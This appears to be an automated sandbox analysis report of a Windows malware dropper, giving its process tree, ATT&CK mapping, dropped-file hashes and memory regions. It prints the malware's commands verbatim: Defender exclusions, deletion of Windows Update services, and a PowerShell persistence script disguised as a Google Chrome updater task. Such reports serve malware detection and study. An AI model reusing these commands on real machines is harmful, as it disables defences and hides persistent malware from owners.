C:\Users\Admin\AppData\Local\Temp\aef9a431c2c2d80a9026e9bac2fdddad7a2c9e2dccb7b094034e704890dd1ca3.exe
"C:\Users\Admin\AppData\Local\Temp\aef9a431c2c2d80a9026e9bac2fdddad7a2c9e2dccb7b094034e704890dd1ca3.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2692

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:2660

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:4120

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2344

C:\Windows\SYSTEM32\cmd.exe
cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
4⤵
- Suspicious use of WriteProcessMemory
PID:4180

C:\Windows\system32\sc.exe
sc stop UsoSvc
5⤵
- Launches sc.exe
PID:324

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
5⤵
- Launches sc.exe
PID:4992

C:\Windows\system32\sc.exe
sc stop wuauserv
5⤵
- Launches sc.exe
PID:4912

C:\Windows\system32\sc.exe
sc stop bits
5⤵
- Launches sc.exe
PID:5048

C:\Windows\system32\sc.exe
sc stop dosvc
5⤵
- Launches sc.exe
PID:4308

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
5⤵
PID:3104

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
5⤵
PID:5052

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
5⤵
- Modifies security service
PID:784

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
5⤵
PID:668

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
5⤵
PID:660

C:\Windows\SYSTEM32\cmd.exe
cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
4⤵
- Suspicious use of WriteProcessMemory
PID:5028

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:4704

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:4940

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:5108

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:3272

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#eaoqkxx#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4728

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#vxyhz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:928

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
5⤵
PID:4084

C:\Users\Admin\AppData\Local\Temp\setup1.exe
"C:\Users\Admin\AppData\Local\Temp\setup1.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4312

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /TN Cache-S-21-2946144819-3e21f723 /TR "C:\Users\Admin\AppData\Local\cache\MoUSO.exe"
4⤵
- Creates scheduled task(s)
PID:508

C:\Users\Admin\AppData\Local\Temp\setup11.exe
"C:\Users\Admin\AppData\Local\Temp\setup11.exe"
3⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3532

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Windows\Temp\1.vbs"
4⤵
- Blocklisted process makes network request
PID:5016

C:\Windows\Temp\11.exe
"C:\Windows\Temp\11.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:300

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
5⤵
- Loads dropped DLL
PID:92988

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
PID:2812

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:92544

C:\Windows\system32\cmd.exe
cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
PID:1792

C:\Windows\system32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:4564

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:4788

C:\Windows\system32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:2280

C:\Windows\system32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:204

C:\Windows\system32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:3768

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
3⤵
PID:5084

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
3⤵
PID:4472

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
3⤵
PID:1012

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
3⤵
PID:2580

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:3268

C:\Windows\system32\cmd.exe
cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:1904

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
PID:4628

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
PID:3664

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
PID:1872

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
PID:4712

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#eaoqkxx#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1556

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe wygzabxfbktab
2⤵
PID:5520

C:\Windows\system32\cmd.exe
cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
3⤵
- Drops file in Program Files directory
PID:5580

C:\Windows\system32\cmd.exe
cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:5532

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
3⤵
PID:5616

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe yluxxonfmsqtfwpr GoySvqjslEz2cJjLp/l+rjzn6ce4jALjhSdARaKlIdOzscb8uSA4DC45OD1DpPEqiKy9RognxgdgL26xl6pHcgBuSDH82m22H2uTx/gYzO827+5kpstbfmCCWwx/haNMZTpvRN2AWJn3nj807NkQH/uc5YsiTBf742xyjDXcUT/RYfnhcLyzybIWgXn+7JafUmbaP5sh35EaxsiGFShuRY1L5Fi1uvVZnjU0an3bePXHEXYChHiocVdekR4gVKAc85wY8WomQkvNXfo8OnI8G68t0jyGDhrkDKs7kWaJz2DMj5MokwVvSUi2Y2TsrAP/8HOYVji2aTn31s7dz3/WlCN+UmM7HFUgStV0krKswFnOvNVFJHtjMrdLvilnrbVN4TalQD/4emuEzW66JneW1htkUt/8aAdr6yQCo+wN61IVXg3oZHUHUUBFwXWKf1by
2⤵
PID:5680

C:\Users\Admin\AppData\Local\cache\MoUSO.exe
C:\Users\Admin\AppData\Local\cache\MoUSO.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:5184

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Impair Defenses

T1562

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Web Service

T1102

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
7.1MB

MD5
bcbe55dd769f440095715c47cb27bb41

SHA1
e3a179123adc104411e40f98586df35acfbca64a

SHA256
ed2cb49343fb114e0015f7935066726cade949add87debe13d3c8d1ee03d56c1

SHA512
e286e9f1596b9303baca178141e99dcd44c899de1b64f07d6d0acf9fdd5d67f44d3c35318ad5b7f0379257fd9b6980eabfc83285d0a3782e994d98e05456cf58

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
7.1MB

MD5
bcbe55dd769f440095715c47cb27bb41

SHA1
e3a179123adc104411e40f98586df35acfbca64a

SHA256
ed2cb49343fb114e0015f7935066726cade949add87debe13d3c8d1ee03d56c1

SHA512
e286e9f1596b9303baca178141e99dcd44c899de1b64f07d6d0acf9fdd5d67f44d3c35318ad5b7f0379257fd9b6980eabfc83285d0a3782e994d98e05456cf58

Download Submit
C:\Program Files\Google\Libs\g.log
Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27
Filesize
1KB

MD5
f31f18e86375d8bdbead7268a0e59490

SHA1
31bf3a4e56a9484d45f807cb825565a7444a7f58

SHA256
6c63206413690deae3fd53352162f5676463f3cd585accd4bf5ba4018b10769b

SHA512
6e33eb3cc107399042405176b1e62cc7f926ef975d0a0337a34b0b6ceae8f3b502531bd76634daf97f630f913751741db409743888eb69da462ad440199ed5ac

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27
Filesize
408B

MD5
cf326ba1b1d093878ba1325b3ff59397

SHA1
7040f31f4535088cc4b4f16f86405bebd2cf9b38

SHA256
646af8e4e61fc09683aead5b0b438cdd19cafa8559520cbb0c2f5e014aba60f2

SHA512
5a37c04e11bc35d4570bb073165ee794d3b85c1b5dfe323864ea741faa6855a5aef012ca2a41501dc5bce788a6c6d309dc938641cc7a84971157c13cabc4b90d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
ad5cd538ca58cb28ede39c108acb5785

SHA1
1ae910026f3dbe90ed025e9e96ead2b5399be877

SHA256
c9e6cb04d6c893458d5a7e12eb575cf97c3172f5e312b1f63a667cbbc5f0c033

SHA512
c066c5d9b276a68fa636647bb29aea05bfa2292217bc77f5324d9c1d93117772ee8277e1f7cff91ec8d6b7c05ca078f929cecfdbb09582522a9067f54740af13

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
4d056d31c45cee5ab4dc68df76000985

SHA1
e5b9a2fc3e7d40eb68b066d0127fe4bd64b04d32

SHA256
03d339de175f45a55fd0475829b4375798379827f091a8f4e876d88612e15c2c

SHA512
77d4b7b219698f76bd7f089405253e49f6d4573aeb087f50c34b66c3b1eb00da45b18b0e19d13b2a49aadfba1d87ad4075b2128877e09cdf3fe6e2f4b2de3344

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
d96c42b5fd2dce0000f7e804e3b5a557

SHA1
2d22672d5241fdaec05472ac74c3d5195f030a4a

SHA256
fbc0b1be3fc4e21191dfcec91af58c49808ed1ffd99810cafef114f353f03015

SHA512
c09df765b2a76ec790b23f300e0ec34e9a8e38b83d2fa5b5b30b112147b951b28b8b52945d0a0299a4ba91cc70ac064b4bf14618a3833f3051b4cc75d5d6eda3

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup.exe
Filesize
7.1MB

MD5
d1591631424fa273dd48706895c0e104

SHA1
09c2aa991404ea84f9c7f4d97ac3af1f45294f2a

SHA256
077733222c9e0c830a0ad453007e3eee0d458c204cd67a046b22b21d582cd627

SHA512
cd5780b89c30ee1df30a9c2bac676eaa6f7036286cc6253ef50438f9a2ff8dc48ff4949821a1aede83f22cc209c33f35f7bcdd185a86690fed6b415d47b0b87b

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup.exe
Filesize
7.1MB

MD5
d1591631424fa273dd48706895c0e104

SHA1
09c2aa991404ea84f9c7f4d97ac3af1f45294f2a

SHA256
077733222c9e0c830a0ad453007e3eee0d458c204cd67a046b22b21d582cd627

SHA512
cd5780b89c30ee1df30a9c2bac676eaa6f7036286cc6253ef50438f9a2ff8dc48ff4949821a1aede83f22cc209c33f35f7bcdd185a86690fed6b415d47b0b87b

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup1.exe
Filesize
1.3MB

MD5
73225769391a8fb0782a9a06771858d2

SHA1
faf3a16ba1453fcb3f5baf31356b4ea1908ac13f

SHA256
6e324029a255245531391fead1b321d13b2aa5c20c71c62a3058d81b92eb53d3

SHA512
026e8192b5cd9ceab1093e318b5e0feddfb553b6afdbcbaa7932b003b74589f16e5f02eff4c1ba4ab0b4a98abb8131bb307641b268b4d11480a02a9cb42194e0

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup1.exe
Filesize
1.3MB

MD5
73225769391a8fb0782a9a06771858d2

SHA1
faf3a16ba1453fcb3f5baf31356b4ea1908ac13f

SHA256
6e324029a255245531391fead1b321d13b2aa5c20c71c62a3058d81b92eb53d3

SHA512
026e8192b5cd9ceab1093e318b5e0feddfb553b6afdbcbaa7932b003b74589f16e5f02eff4c1ba4ab0b4a98abb8131bb307641b268b4d11480a02a9cb42194e0

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup11.exe
Filesize
869KB

MD5
0300678cd0673d021cf4090a42b18e9c

SHA1
95eae2a95e9b5769df5b399833bd336b3c97a010

SHA256
3ec48484915f68da99e72184db1dffdf396d6a5f0fe0634e528b6d19a1b6cef2

SHA512
f38aeddf03720e1b4a6549bc1d73dc3ac5d9f42f8f93d036ddd7a83325dcdb5c70b58c362e67bf750f24ebedc9f010d0e478b8d1e37218ec1a5c09922df93e4d

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup11.exe
Filesize
869KB

MD5
0300678cd0673d021cf4090a42b18e9c

SHA1
95eae2a95e9b5769df5b399833bd336b3c97a010

SHA256
3ec48484915f68da99e72184db1dffdf396d6a5f0fe0634e528b6d19a1b6cef2

SHA512
f38aeddf03720e1b4a6549bc1d73dc3ac5d9f42f8f93d036ddd7a83325dcdb5c70b58c362e67bf750f24ebedc9f010d0e478b8d1e37218ec1a5c09922df93e4d

Download Submit
C:\Users\Admin\AppData\Local\cache\MoUSO.exe
Filesize
1.3MB

MD5
73225769391a8fb0782a9a06771858d2

SHA1
faf3a16ba1453fcb3f5baf31356b4ea1908ac13f

SHA256
6e324029a255245531391fead1b321d13b2aa5c20c71c62a3058d81b92eb53d3

SHA512
026e8192b5cd9ceab1093e318b5e0feddfb553b6afdbcbaa7932b003b74589f16e5f02eff4c1ba4ab0b4a98abb8131bb307641b268b4d11480a02a9cb42194e0

Download Submit
C:\Users\Admin\AppData\Local\cache\MoUSO.exe
Filesize
1.3MB

MD5
73225769391a8fb0782a9a06771858d2

SHA1
faf3a16ba1453fcb3f5baf31356b4ea1908ac13f

SHA256
6e324029a255245531391fead1b321d13b2aa5c20c71c62a3058d81b92eb53d3

SHA512
026e8192b5cd9ceab1093e318b5e0feddfb553b6afdbcbaa7932b003b74589f16e5f02eff4c1ba4ab0b4a98abb8131bb307641b268b4d11480a02a9cb42194e0

Download Submit
C:\Windows\Temp\1.vbs
Filesize
105B

MD5
619b98bd738eb656e0ac3d67fcbed059

SHA1
c54ef4f6eece8af73420f523bbb3797bbfb353a1

SHA256
602ed0b4fd6433cba28ea6c9e7dac4a6e07cddd80e4daa9ae2937a885417ab7c

SHA512
6fde07d746903ec1542f5d9f7bf0f71322705309795666aab13b0187bf630e843f9fb1c863fd6133f1848f197de060a523d4ca00ed2e5d139601719465cc7b84

Download Submit
C:\Windows\Temp\11.exe
Filesize
2.5MB

MD5
dedbddfba9c120808739fde13dafcdb3

SHA1
06cd889ae7e9afeb233ea25c88c3eaf023aba0a7

SHA256
400366a0b328fe7e9d34e3a71daa9f0715e483386f4a47e86fcf9dad6062ee19

SHA512
dc6fa179c7fec88849859ef8bd089b8fff5b42745d361aa724fa35c7c8a5ee7de9a277ad3fd825b724ad08fad8a25737684be0949d4fc7c13ebaceea55abf23d

Download Submit
C:\Windows\Temp\11.exe
Filesize
2.5MB

MD5
dedbddfba9c120808739fde13dafcdb3

SHA1
06cd889ae7e9afeb233ea25c88c3eaf023aba0a7

SHA256
400366a0b328fe7e9d34e3a71daa9f0715e483386f4a47e86fcf9dad6062ee19

SHA512
dc6fa179c7fec88849859ef8bd089b8fff5b42745d361aa724fa35c7c8a5ee7de9a277ad3fd825b724ad08fad8a25737684be0949d4fc7c13ebaceea55abf23d

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
811d351aabd7b708fef7683cf5e29e15

SHA1
06fd89e5a575f45d411cf4b3a2d277e642e73dbb

SHA256
0915139ab02088c3932bcc062ce22d4e9c81aa6df0eacd62900d73d7ad2d3b18

SHA512
702d847c2aa3c9526ddf34249de06e58f5e3182d6ef66f77ddbdbbd2e9836026da6eacac2c892cf186d79bdc227a85c14f493b746c03233ef8820d981721c70a

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
302a7c179ef577c237c5418fb770fd27

SHA1
343ef00d1357a8d2ff6e1143541a8a29435ed30c

SHA256
9e6b50764916c21c41d6e7c4999bdf27120c069ec7a9268100e1ce5df845149f

SHA512
f2472371a322d0352772defb959ea0a9da0d5ca8f412f6abafac2e6547bcc8a53394a6fb81b488521fc256bfc9f3205d92c6b69d6d139bdb260fb46578946699

Download Submit
C:\Windows\system32\drivers\etc\hosts
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\Users\Admin\AppData\LocalLow\mozglue.dll
Filesize
612KB

MD5
f07d9977430e762b563eaadc2b94bbfa

SHA1
da0a05b2b8d269fb73558dfcf0ed5c167f6d3877

SHA256
4191faf7e5eb105a0f4c5c6ed3e9e9c71014e8aa39bbee313bc92d1411e9e862

SHA512
6afd512e4099643bba3fc7700dd72744156b78b7bda10263ba1f8571d1e282133a433215a9222a7799f9824f244a2bc80c2816a62de1497017a4b26d562b7eaf

Download Submit
\Users\Admin\AppData\LocalLow\nss3.dll
Filesize
1.9MB

MD5
f67d08e8c02574cbc2f1122c53bfb976

SHA1
6522992957e7e4d074947cad63189f308a80fcf2

SHA256
c65b7afb05ee2b2687e6280594019068c3d3829182dfe8604ce4adf2116cc46e

SHA512
2e9d0a211d2b085514f181852fae6e7ca6aed4d29f396348bedb59c556e39621810a9a74671566a49e126ec73a60d0f781fa9085eb407df1eefd942c18853be5

Download Submit
\Users\Admin\AppData\LocalLow\sqlite3.dll
Filesize
1.0MB

MD5
dbf4f8dcefb8056dc6bae4b67ff810ce

SHA1
bbac1dd8a07c6069415c04b62747d794736d0689

SHA256
47b64311719000fa8c432165a0fdcdfed735d5b54977b052de915b1cbbbf9d68

SHA512
b572ca2f2e4a5cc93e4fcc7a18c0ae6df888aa4c55bc7da591e316927a4b5cfcbdda6e60018950be891ff3b26f470cc5cce34d217c2d35074322ab84c32a25d1

Download Submit
memory/204-745-0x0000000000000000-mapping.dmp

Download
memory/300-434-0x0000000000000000-mapping.dmp

Download
memory/324-247-0x0000000000000000-mapping.dmp

Download
memory/508-302-0x0000000000000000-mapping.dmp

Download
memory/660-277-0x0000000000000000-mapping.dmp

Download
memory/668-276-0x0000000000000000-mapping.dmp

Download
memory/784-275-0x0000000000000000-mapping.dmp

Download
memory/928-324-0x0000000000000000-mapping.dmp

Download
memory/1012-757-0x0000000000000000-mapping.dmp

Download
memory/1556-729-0x0000000000000000-mapping.dmp

Download
memory/1556-979-0x000001FB49DF0000-0x000001FB49E0C000-memory.dmp

Filesize
112KB

Download
memory/1556-1043-0x000001FB305A9000-0x000001FB305AF000-memory.dmp

Filesize
24KB

Download
memory/1556-1022-0x000001FB305A9000-0x000001FB305AF000-memory.dmp

Filesize
24KB

Download
memory/1792-726-0x0000000000000000-mapping.dmp

Download
memory/1872-741-0x0000000000000000-mapping.dmp

Download
memory/1904-727-0x0000000000000000-mapping.dmp

Download
memory/2280-740-0x0000000000000000-mapping.dmp

Download
memory/2344-161-0x0000000000000000-mapping.dmp

Download
memory/2344-172-0x000002046D530000-0x000002046D552000-memory.dmp

Filesize
136KB

Download
memory/2344-178-0x000002046F800000-0x000002046F876000-memory.dmp

Filesize
472KB

Download
memory/2580-758-0x0000000000000000-mapping.dmp

Download
memory/2660-121-0x0000000140003FEC-mapping.dmp

Download
memory/2660-124-0x0000000140000000-0x0000000140023000-memory.dmp

Filesize
140KB

Download
memory/2660-357-0x0000000140000000-0x0000000140023000-memory.dmp

Filesize
140KB

Download
memory/2660-122-0x0000000140000000-0x0000000140023000-memory.dmp

Filesize
140KB

Download
memory/2660-120-0x0000000140000000-0x0000000140023000-memory.dmp

Filesize
140KB

Download
memory/2660-123-0x0000000140000000-0x0000000140023000-memory.dmp

Filesize
140KB

Download
memory/2660-125-0x0000000140000000-0x0000000140023000-memory.dmp

Filesize
140KB

Download
memory/2812-576-0x00007FF71BA80000-0x00007FF71C780000-memory.dmp

Filesize
13.0MB

Download
memory/2812-1082-0x00007FF71BA80000-0x00007FF71C780000-memory.dmp

Filesize
13.0MB

Download
memory/2812-352-0x00007FFD079E0000-0x00007FFD07BBB000-memory.dmp

Filesize
1.9MB

Download
memory/2812-351-0x00007FF71BA80000-0x00007FF71C780000-memory.dmp

Filesize
13.0MB

Download
memory/2812-1083-0x00007FFD079E0000-0x00007FFD07BBB000-memory.dmp

Filesize
1.9MB

Download
memory/2812-577-0x00007FFD079E0000-0x00007FFD07BBB000-memory.dmp

Filesize
1.9MB

Download
memory/3104-267-0x0000000000000000-mapping.dmp

Download
memory/3268-759-0x0000000000000000-mapping.dmp

Download
memory/3272-265-0x0000000000000000-mapping.dmp

Download
memory/3532-354-0x0000000000000000-mapping.dmp

Download
memory/3664-738-0x0000000000000000-mapping.dmp

Download
memory/3768-749-0x0000000000000000-mapping.dmp

Download
memory/4084-343-0x0000000000000000-mapping.dmp

Download
memory/4120-149-0x00007FF7C5DB0000-0x00007FF7C6AB0000-memory.dmp

Filesize
13.0MB

Download
memory/4120-133-0x00007FF7C5DB0000-0x00007FF7C6AB0000-memory.dmp

Filesize
13.0MB

Download
memory/4120-128-0x00007FF7C5DB0000-0x00007FF7C6AB0000-memory.dmp

Filesize
13.0MB

Download
memory/4120-329-0x00007FFD079E0000-0x00007FFD07BBB000-memory.dmp

Filesize
1.9MB

Download
memory/4120-126-0x0000000000000000-mapping.dmp

Download
memory/4120-132-0x00007FF7C5DB0000-0x00007FF7C6AB0000-memory.dmp

Filesize
13.0MB

Download
memory/4120-131-0x00007FFD079E0000-0x00007FFD07BBB000-memory.dmp

Filesize
1.9MB

Download
memory/4120-150-0x00007FFD079E0000-0x00007FFD07BBB000-memory.dmp

Filesize
